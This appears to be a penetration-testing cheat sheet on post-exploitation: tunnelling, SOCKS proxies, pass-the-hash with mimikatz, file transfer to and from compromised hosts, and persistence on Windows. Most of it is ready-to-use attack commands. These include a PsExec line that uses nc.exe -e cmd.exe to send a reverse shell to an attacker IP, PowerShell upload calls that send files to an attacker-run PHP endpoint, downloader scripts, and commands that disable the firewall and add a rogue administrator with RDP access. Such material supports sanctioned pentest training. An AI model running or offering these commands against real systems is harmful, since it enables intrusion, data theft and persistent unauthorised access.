Post Exploitation

December 24, 2022 ยท View on GitHub

Local Port forwarding

SSH

  • Will connect local port to target port on target IP.
  • Usefull for example when database server is running on localhost on target and you want to connect to it on your kali.
ssh -N -L <LOCAL PORT>:127.0.0.1:<TARGET PORT> <USERNAME>@<TARGET IP>

SSH over hop

  • Will open local port on your kali (BIND_ADDRESS) and connect it to target port and IP over a HOP.
  • Usefull for example when you owned 1 host that can connect to another host that is running mssql and you want to connect from your kali to that mssql service.
ssh -N -L <BIND_ADDRESS>:<LOCAL PORT>:<TARGET IP>:<TARGET PORT> <USERNAME>@<HOP IP>

Netsh Windows

  • Open a port on local port and IP and send all traffic to target IP and port.
  • Usefull for opening a port on the hop for receiving shells backs.
  • Usefull for example when you owned 1 host that can connect to another host that is running mssql and you want to connect from your kali to that mssql service.
netsh interface portproxy add v4tov4 listenaddress=<LOCCAL IP> listenport=<LOCAL PORT> connectaddress=<TARGET IP> connectport=<TARGET PORT> protocol=tcp

List forwards

netsh interface portproxy show v4tov4

Remove port forward

netsh interface portproxy delete v4tov4 listenaddress=<IP> listenport=<PORT>

Socat Windows

socat.exe tcp-listen:<LISTENING PORT>,fork tcp-connect:<TARGET IP>:<TARGET PORT>

Then let it listen on our kali machine

  • so we can connect with our windows tools for example
socat tcp-l:<LISTENING PORT>,fork tcp:<TARGET IP TO SEND IT TO (FIRST HOP)>:<TARGET PORT>

Remote port forwarding

  • Forward local port of target back to our kali

SSH

  • Will connect local port back to our kali.
  • Usefull for example when database server is running on localhost on target and you want to connect to it on your kali.
ssh -N -R <BIND_ADRESS>:<PORT>:127.0.0.1:<TARGET PORT> <USERNAME>@<ATTACKER IP>

Plink.exe

plink.exe <USER>@<IP> -R <ATTACKER PORT>:<TARGET IP>:<TARGET PORT>

Sockx proxy

Configuring proxychains

SSH

sudo ssh -N -D 127.0.0.1:9000 <username>@<IP>

SSH over hop

ssh -J <USER>@<FIRST HOP IP> -D 127.0.0.1:9000 <USER>@<SECOND IP>

Chisel

/opt/chisel/chisel server -p 443 --socks5 --reverse
./chisel.exe client <ATTACKER IP>:443 R:socks

Using proxychains

Proxychains

  • For linux
  • Change proxychains config socks5 <IP> <PORT> <USER> <PASS>
sudo vim /etc/proxychains.conf
proxychains <COMMAND>

Proxifier

  • https://www.proxifier.com/
  • For windows
  • Open Proxifier, go to Profile -> Proxy Servers and Add a new proxy entry, which will point at the IP address and Port of your Cobalt Strike SOCKS proxy.
  • Next, go to Profile -> Proxification Rules. This is where you can add rules that tell Proxifier when and where to proxy specific applications. Multiple applications can be added to the same rule, but in this example, I'm creating a single rule for adexplorer64.exe (part of the Sysinternals Suite).
  • Target hosts fill in the target internal network range with the action proxy socks <TARGET>
  • NOTE: You will also need to add a static host entry in C:\Windows\System32\drivers\etc\hosts file: <DC IP> <DOMAIN>. You can enable DNS lookups through Proxifier, but that will cause DNS leaks from your computer into the target environment.

Proxychains netonly or overpass the hash

runas /netonly /user:<DOMAIN>\<USER> "C:\windows\system32\mmc.exe C:\windows\system32\dsa.msc"
sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:"C:\windows\system32\mmc.exe C:\windows\system32\dsa.msc"

Browser

Other tunneling options

sshuttle

sshuttle -r <USERNAME>@<TARGET> <RANGE(s) TO TUNNEL> --ssh-cmd 'ssh -i /home/user/Offshore/id_rsa_root_nix01'
sshuttle -r <USERNAME>@<TARGET> <RANGE(s) TO TUNNEL>

File transfers

Download files

Start webservers

sudo service apache2 start #files in /var/www/html
sudo python3 -m http.server <PORT> #files in current 
sudo python2 -m SimpleHTTPServer <PORT>
sudo php -S 0.0.0.0:<PORT>
sudo ruby -run -e httpd . -p <PORT>
sudo busybox httpd -f -p <PORT>

Download file from webserver

wget http://<IP>:<PORT>/<FILE>

SMB Server

sudo python3 /opt/oscp/impacket/examples/smbserver.py <SHARE NAME> <PATH>

Look for files in SMB

dir \\<IP>\<SHARE NAME>

Copy files from SMB

copy \\<IP>\<SHARE NAME>\<FILE NAME> <FILE>

Copy all files

copy \\<IP>\<SHARE NAME>\<FILE NAME>\*.* .

Copy files to SMB

copy <FILE> \\<IP>\<SHARE NAME>\<FILE NAME>

Linux ftp

If installed use the ftp package

Windows ftp

Use native program with the -s parameter to use a input file for the commands

echo open 192.168.119.124 21> ftp.txt
echo USER offsec>> ftp.txt
echo lab>> ftp.txt
echo bin >> ftp.txt
echo GET accesschk.exe >> ftp.txt
echo GET winPEASany.exe >> ftp.txt
echo quit >> ftp.txt

ftp -v -n -s:ftp.txt

Setup FTP server

python -m pyftpdlib 21

Connect to ftp server

ftp <IP>

VBS download files for Windows XP

Create vbs script

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

Run VBS script to download file

cscript wget.vbs http://<IP>/<FILE> <FILE>

Powershell download file

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://<IP>/<FILE>', '<FILE>')

powershell -c "Invoke-WebRequest -Uri 'http://<IP>/<FILE>' -OutFile 'C:\Windows\Temp\<FILE>'"

Upload files

Netcat listener for file

nc -nlvp <PORT> > <FILE>

Netcat send file

nc -nv <IP> <PORT> <FILE>

Socat listener for file to send

sudo socat TCP4-LISTEN:<PORT>,fork file:<FILE>

Socat get file

socat TCP4:<IP>:<PORT> file:<FILE>,create

Powercat send file

powercat -c <IP> -p <PORT> -i <FILE>

Upload Windows data through HTTP Post request

make /var/www/upload.php on kali

<?php
$uploaddir = '/var/www/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>

Upload file in Windows client

powershell (New-Object System.Net.WebClient).UploadFile('http://<IP>/upload.php', '<FILE>')

Upload through tftp (over udp)

Install tftp on kali

sudo apt update && sudo apt install atftp
sudo mkdir /tftp
sudo chown nobody: /tftp
sudo atftpd --daemon --port 69 /tftp

On windows client to send file

tftp -i <IP> put important.docx

Powercat send file

powercat -c <IP> -p <PORT> -i <FILE>

Misc

PSExec

Shell back to my machine with other user using netcat

PsExec.exe -u <COMPUTERNAME>\<USERNAME> -p <PASSWORD> \\<COMPUTERNAME> nc.exe <ATTACKER IP> <ATTACKER PORT> -e cmd.exe

Enable RDP and create user to login

#Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

#Enable more then 1 user login
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

#Add user to RDP group
net user <USER> <PASS> /add /Y
net localgroup administrators <USER> /add
net localgroup "Remote Desktop Users" <USER> /add

#Disable firewall
netsh advfirewall set allprofiles state off

#RDP to machine
xfreerdp /u:<USER> /p:<PASS> /v:<TARGET>